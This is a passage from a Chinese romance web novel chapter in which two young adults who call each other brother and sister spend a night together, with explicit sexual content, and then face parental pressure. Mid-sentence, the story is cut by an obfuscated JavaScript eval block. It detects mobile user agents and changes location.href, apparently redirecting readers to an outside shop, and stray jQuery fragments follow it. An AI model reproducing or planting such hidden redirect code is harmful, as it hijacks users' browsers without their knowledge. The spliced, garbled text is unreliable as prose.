65. [锁] [此章节已锁]

作品:《我要你爱我

    直到家具城关门,夏夕怡的家具也只挑了一半。


    大部分原因在于她挑的家具谢涧都嫌太过便宜,又花时间给她找了同样风格更贵的一种。


    不过现在是暑假,还是高考后的暑假,还有许多时间。


    这样想着,她跟着谢涧下楼,要上车的时候,才发现杨叔叔已经不在车上。


    “杨叔叔呢?”她问。


    谢涧帮她拉开副驾驶的门,“我让他提前走了,我们今晚不回半月湾。”


    夏夕怡吓了一跳,“不回家吗?”


    “回家。”谢涧转动方向盘,“回星庭。”


    夏夕怡眨眨眼,心突然跳得很快。


    “为什么突然不想回半月湾?”


    “爸妈回来了。”谢涧回答。


    夏夕怡有些意外,没想到他们又不声不响突然回国。


    不过已经习惯他们不告诉自己任何消息,她也没多问。


    “爸妈会住在半月湾吗?”


    “不会,他们今晚还要去外地见朋友。”谢涧顿了顿,又解释,“不用担心他们会发现。”


    夏夕怡这才松了一口气,悄悄侧头去看他,猜测他突然不想回半月湾的原因是不是与爸妈有关。


    她猜今天谢涧的那场饭局爸妈也在场,或许发生了什么不愉快的事。


    “为什么回星庭不让杨叔叔送呀?”她换了个话题。


    谢涧看她一眼,“除了你,没人知道我买了那套房。”


    这句话藏了很多信息,包括对其他人的防备,以及对夏夕怡不同于别人的亲近。


    夏夕怡抿了抿唇,“星庭……其他房间都有家具吗?”


    谢涧挑起眉,笑了声,“没有,只有你的练舞室里有一张沙发床。”


    这样说来……他们晚上又要睡一张床了。


    虽然不是没有睡过,但这是第一次在他们的“家”过夜。


    车驶入别墅车库,两个人下了车,坐电梯上楼,直接到三层练舞室。


    和上次来的时候不一样,夏夕怡发现这里多了几个临时衣架,上面挂满了衣服,都是女装,套着防尘袋。


    “给你买的。”谢涧说,“可以随时住进来。”


    夏夕怡走过去,摸着那些衣服,突然感觉“搬家”已经十分临近。


    原本想问,她搬来这里谢家夫妇不会问起吗。


    但仔细想想,他们本来就不在乎自己,而且马上要上大学了,在外面住也是正常,更别说——


    她马上也要告诉谢涧亲缘鉴定报告的事了。


    既然谢涧为他们的未来考虑了这么多,那她也该向前走一步。


    练舞室内有淋浴间,谢涧让夏夕怡先去。


    洗澡的时候,她开始琢磨措辞,想着该如何向谢涧解释这件事,然后大方地问清楚他的想法,最后让谢涧相信她会努力去走向两个人的未来。


    正想着,突然听见外边传来声音,好像是谢涧正在和谁交谈。


    声音有些模糊,但不妨碍夏夕怡听出谢涧的情绪不佳。


    洗完澡,换上睡衣出去,谢涧已经挂断电话,表情看不出来什么,摸了摸她的头走进淋浴间。


    练舞室的休息区,沙发床已经被安置好,连被子枕头也有,和家里的床没什么区别,只是小了点。


    夏夕怡盘腿坐上去,拿出手机回复姜悦悦的消息。


    没一会儿谢涧洗完澡,将灯光调暗后走过来坐到她旁边,“想睡觉了吗?”


    夏夕怡看看时间,已经晚上十点了,但她还没什么困意,于是摇头说不想。


    谢涧就俯身,从床底拿出了一个盒子。


    不知道是什么,夏夕怡看着他将盒子打开,里面是一本厚厚的书。


    “这是什么?”夏夕怡凑过去看。


    书是皮质封面,粉棕色的,看上去很有质感。


    “慕老师针对你的情况给你制定的练舞计划。”谢涧轻声说,“包括一些需要学习的理论知识,每天都有任务。”


    夏夕怡睁大眼。


    慕老师因为要准备巡演已经最近很少和她联系,原以为短暂的师生关系要结束了,没想到还能收到这样一份东西。


    谢涧看着她的脸,勾了下唇,“慕老师说,如果你还愿意练,她就永远是你的老师。”


    这实在是太过珍贵的承诺,夏夕怡实在是受宠若惊。


    “我当然愿意!”她看向谢涧,眼里亮晶晶的,“慕老师和谢家到底有什么渊源呀?”


    谢涧点了点她的脑袋,“她喜欢的是你,不是谢家。”


    夏夕怡晃了晃脑袋,没说信不信,朝他眨着眼睛,“我就是想知道一下。”


    谢涧垂眼看她几秒,然后才说:“我知道的不多,但大概听说过她曾经有一个很要好的朋友出过事,是母亲帮助的她。”


    “哦……”能让谢家人出手的不会是小事,那确实是很大的恩情了,夏夕怡想了想,问,“那慕老师的那位朋友呢?”


    “过世许久了。”谢涧说。


    有点突然,完全没想到会是这种结果,夏夕怡不知道该说些什么。


    谢涧揉了揉她的脑袋,将被子拉高,搂着她的肩膀躺下,“好了,不想这些,睡觉吧,明天起来记得感谢慕老师。”


    身体突然覆上温热的体温,夏夕怡脸一红,往他怀里靠了靠,“我知道的。”


    “今天还没说。”谢涧的声音在头顶响起,“毕业快乐。”


    安静的氛围,是暧昧的培养皿,夏夕怡的头往上扬。


    奇怪的是谢涧没动,她猜想这人又想逗她,但没跟他计较,自己往上挪,直到双唇相碰。


    碰到的瞬间,谢涧才张开嘴,用力吮咬,侵略。


    两个人用力相拥,气温升高。


    很快,夏夕怡往后退开,偏过头低吟,又低下头看。


    黑暗中,没入裤腰的手若隐若现。


    之前每次做这事时,夏夕怡都大脑混沌无法再想其他。


    但或许是因为次数多了,又或者这里是真正只属于他们两个人的地方,她脑海里还有一丝清醒,同样伸出手勾开他的裤腰。


    空气中两道不同的声音,逐渐加大。


    他们时不时要吻几秒,然后又分开看着彼此。


    “哥哥。”快要受不了了,夏夕怡轻抬起腿搭在他的腰上,“你要不要……”


    这是一个毫无防备的姿势,没有什么比这样的诱惑还大了。


    谢涧的呼吸立即加重,眸光闪烁,突然翻身将她压下——


    夏夕怡的眼神一颤,下一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141925|191648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    秒浑身僵住,向下看见隆起的被子。


    “哥哥!”她茫然地低呼一声,然后浑身一软。


    很难相信谢涧居然会做这样的事,夏夕怡开始怀疑这是不是梦。


    微凉挺拔的鼻梁碰在上面,温热柔软的唇舌吻在下面。


    这是从未体验过的感觉,双倍的冲击,脆弱的皮肤经不起折腾,连带着腿都在轻轻抖动。


    想说很脏,也想推开,却无意识地去迎合。


    她觉得自己这辈子没有叫过这样大的声音,枕头和被子几乎要被她抓破,白光过后就是黑暗。


    夏夕怡又睡过去了。


    谢涧又坐回来,用指腹擦去唇上的晶莹,看着身旁熟睡的人,眼底是复杂的光。


    又想起下午时父亲说出的话,那不会只是一种威胁。


    没关系。他想。


    只要段家没有这个想法,就算父亲愿意,他们也做不成这件事。


    —


    翌日清晨,夏夕怡起床时,听见谢涧在淋浴间洗漱。


    想起昨晚的事,她就脸颊发烫,那触感仿佛还停留在身上,十分令人上瘾。


    揉了揉脸让自己不要再想,正要下床,床边的手机突然亮起。


    以为是自己的,随手拿起来看,是王姨发过来的信息。


    【少爷,夫人昨晚又问起你和小姐的行踪,我找借口瞒了过去,但……我希望您不要伤害小姐。】


    反应了一下才意识到这是谢涧的手机。


    她呆了呆,思考这条信息里的意思。


    原来母亲一直会问王姨关于他们的事,还有王姨好像已经察觉到了他们之间的不对。


    “呆着做什么?”谢涧不知道什么时候走到她身前,低头看见了她手里的手机。


    夏夕怡说:“王姨给你发信息了。”


    谢涧顿了顿,然后俯身拿走手机看了眼,“嗯,看见了。”


    “王姨她……”


    “没关系,我来解决。”


    又是这一句话,但这样的事他该怎么解决呢?


    王姨并不是误会,而是察觉到了真相,难道谢涧要去撒谎吗?


    夏夕怡想了几秒,然后抬起眼,“哥哥,我有件事想告诉你——”


    还没说完,谢涧的手机震动,她看见来电人是“妈”。


    谢涧捏了捏她的脸,然后接起电话。


    夏夕怡安静地等待他讲完,顺便再将腹稿完善一些,谁知道一抬眼,面前的人脸色黑得不像样。


    那表情很吓人,她抬手拉住谢涧的手。


    没多久,面前的人挂断电话,夏夕怡用探究的目光看向他,“哥哥?”


    谢涧垂着眼,眼底有什么情绪在翻涌,“爸妈一会儿要来半月湾。”


    夏夕怡问:“他们不是去了外地?”


    “对。”谢涧沉声说,“他们在回来的路上,下午有客人来。”


    夏夕怡放低声音,“谁呀?”


    “上次在慈善宴见过的。”谢涧说,“那位段总。”


    “哦……”夏夕怡茫然地点点头,“那你现在要回去准备见他?”


    “不是。”


    谢涧周身的气温突然降至冰点,就连声音都带着冷意。


    他说:“他想见的是你。”